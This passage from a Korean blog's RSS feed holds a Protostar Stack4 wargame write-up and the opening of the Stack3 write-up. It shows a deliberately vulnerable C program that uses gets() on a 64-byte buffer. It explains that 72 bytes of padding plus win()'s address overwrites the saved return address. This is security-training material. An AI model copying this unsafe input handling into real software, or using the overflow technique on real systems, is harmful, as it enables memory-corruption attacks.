14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdlib.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unistd.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;win()&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;code&amp;nbsp;flow&amp;nbsp;successfully&amp;nbsp;changed\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;gets(buffer);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;char type 64 byte array buffer를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gets() 함수를 통해 user로부터 값을 입력받는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;gets(buffer);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;win() 함수는 &quot;code flow successfully changed\n&quot;를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;win()&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;code&amp;nbsp;flow&amp;nbsp;successfully&amp;nbsp;changed\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack4를 일반적으로 실행하면 절대 win()을 실행할 수 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Stack4의 목표는 EIP를 변경하여 win() 함수를 실행&lt;/span&gt;하는것에 목적을 둔다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack4를 gdb를 통해서 분석을 진행하자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 825px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/994A773F5C35A42D17&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F994A773F5C35A42D17&quot; width=&quot;825&quot; height=&quot;516&quot; filename=&quot;이미지 004.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb를 바탕으로 stack의 구조를 그려보면 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 657px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99905D505C35A62C2C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99905D505C35A62C2C&quot; width=&quot;657&quot; height=&quot;1012&quot; filename=&quot;이미지 005.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;RET(EIP)를 수정하기 위해 overflow 시켜야할 크기는 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;64 byte(buffer) + 8 byte(SFP) = 72 byte padding.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;72 byte padding 후 8 byte의 win() 함수의 주소를 적어주면 main 함수가 종료된 후 win()의 주소로 jump하여 실행을 할 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 990px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999C694F5C35A7DD36&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999C694F5C35A7DD36&quot; width=&quot;990&quot; height=&quot;93&quot; filename=&quot;이미지 006.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/Protostar</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/240</guid>
      <comments>https://marcokhan.tistory.com/240#entry240comment</comments>
      <pubDate>Wed, 9 Jan 2019 16:54:47 +0900</pubDate>
    </item>
    <item>
      <title>[Protostar] Stack3 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/239</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;Protostar --- Stack3&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Gulim, 굴림; font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Stack3&lt;/span&gt;의 내용이다. (내용이 달라서 개인적으로 덧붙였다.)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Gulim, 굴림;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;We learn How to overwriting function pointers stored on the stack(as a prelude to overwriting the saved EIP)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;해석해보면 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리는 stack 영역에 저장된 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;function pointer를 바꾸는 방법&lt;/span&gt;에 대해 배울 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이것은 saved EIP를 overwriting 하는 시초이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Stack3&lt;/span&gt;의 Hint는 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;both god and objdump is your friend you determining where the win() function lies in memory.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Stack3의 Hint를 해석해보면 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;gdb&lt;/span&gt; 그리고 &lt;span 